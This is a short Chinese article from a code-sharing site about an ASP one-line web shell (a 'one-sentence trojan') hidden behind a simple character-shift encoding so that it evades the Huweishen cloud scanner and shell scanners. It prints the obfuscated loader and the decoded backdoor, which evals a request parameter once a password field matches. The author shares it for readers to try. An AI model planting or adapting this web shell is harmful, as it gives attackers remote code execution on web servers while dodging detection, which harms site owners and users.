当前位置: 代码网 > 服务器>网络安全>脚本攻防 > 一句话木马加密 过护卫神云查杀系统 过shell扫描器

一句话木马加密 过护卫神云查杀系统 过shell扫描器

2013年01月10日 脚本攻防 我要评论
一句话木马加密 过护卫神云查杀系统 过shell扫描器这个一句话木马最近被利用的很多,很多扫描工具扫描不到,不过一些asp版的扫描工具支持扫描eval和execute,如果发现如下代码,请删除,下面就是他们常发的木马后门... 13-01-10

分享给大家 暂时未测试 大家自己用用看

大马的代码是简单加密了下的!很容易解开看见 是加密的一段代码


复制代码
代码如下:

<%
codeds="li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li"
execute (decode (codeds) )
function decode (coded)
on error resume next
for i = 1 to len (coded)
curchar = mid (coded, i, 1)
if asc (curchar) = 16 then
curchar = chr (8)
elseif asc (curchar) = 24 then
curchar = chr (12)
elseif asc (curchar) = 32 then
curchar = chr (18)
else
curchar = chr (asc (curchar) -3)
end if
decode = decode&curchar
next
end function
response.write(decode(codeds))
%>

很简单的加密,解开一看

复制代码
代码如下:

<%
if request("xx") ="x" then eval request("hkmjj") end if
%>

经过测试,发现过目前的护卫神云查杀系统,这个貌似用的人挺多的

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com